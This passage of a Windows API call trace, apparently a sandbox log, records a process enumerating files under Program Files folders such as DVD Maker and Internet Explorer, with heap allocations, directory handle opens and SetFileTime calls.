nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0070.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f388 [0070.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa21bd0 [0070.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.411] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0070.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f3a8 [0070.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa21cd8 [0070.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.412] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0070.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f3c8 [0070.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa21de0 [0070.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.412] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0070.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f3e8 [0070.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa21ee8 [0070.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.413] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="softedges.png", cAlternateFileName="")) returned 1 [0070.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f408 [0070.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa21ff0 [0070.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.413] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdcdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="vignettemask25.png", cAlternateFileName="")) returned 1 [0070.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f428 [0070.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa220f8 [0070.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.414] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 1 [0070.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1f448 [0070.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa22200 [0070.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.414] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 0 [0070.414] GetLastError () returned 0x12 [0070.414] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0070.414] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0070.414] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.414] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0070.414] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0070.414] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0070.414] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8e3932, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8e3932, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0070.414] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0070.414] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0070.414] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0070.415] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0070.415] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6c2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="softedges.png", cAlternateFileName="")) returned 1 [0070.415] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdcdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="vignettemask25.png", cAlternateFileName="")) returned 1 [0070.415] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 1 [0070.415] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="whiteband.png", cAlternateFileName="")) returned 0 [0070.415] GetLastError () returned 0x12 [0070.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08c18) returned 1 [0070.415] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0070.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0ad40) returned 1 [0070.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0070.416] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 1 [0070.416] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee53867, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee53867, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5caa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WhiteDot.png", cAlternateFileName="")) returned 0 [0070.416] GetLastError () returned 0x12 [0070.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08310) returned 1 [0070.416] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0070.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0070.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07dc0) returned 1 [0070.416] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9060745b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x9060745b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x4877fc17, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x379f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters.xml", cAlternateFileName="")) returned 1 [0070.416] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 1 [0070.416] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e437ad, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93e437ad, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x689cd275, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8edf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parity.fx", cAlternateFileName="")) returned 0 [0070.416] GetLastError () returned 0x12 [0070.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07d38) returned 1 [0070.416] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0070.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa07cb0) returned 1 [0070.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa076d8) returned 1 [0070.416] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0070.416] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonicsptransform.ax", cAlternateFileName="")) returned 1 [0070.416] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 1 [0070.416] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 0 [0070.416] GetLastError () returned 0x12 [0070.416] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0070.417] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0070.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0070.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0070.417] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa011d710, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa011d710, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="")) returned 1 [0070.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0070.417] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer" (normalized: "c:\\program files\\internet explorer"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa011d710, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa011d710, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0070.417] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer" (normalized: "c:\\program files\\internet explorer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0070.417] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0070.417] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa26488 [0070.417] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa26488, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0xa26488, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0070.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa26488) returned 1 [0070.417] NtClose (Handle=0x164) returned 0x0 [0070.417] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 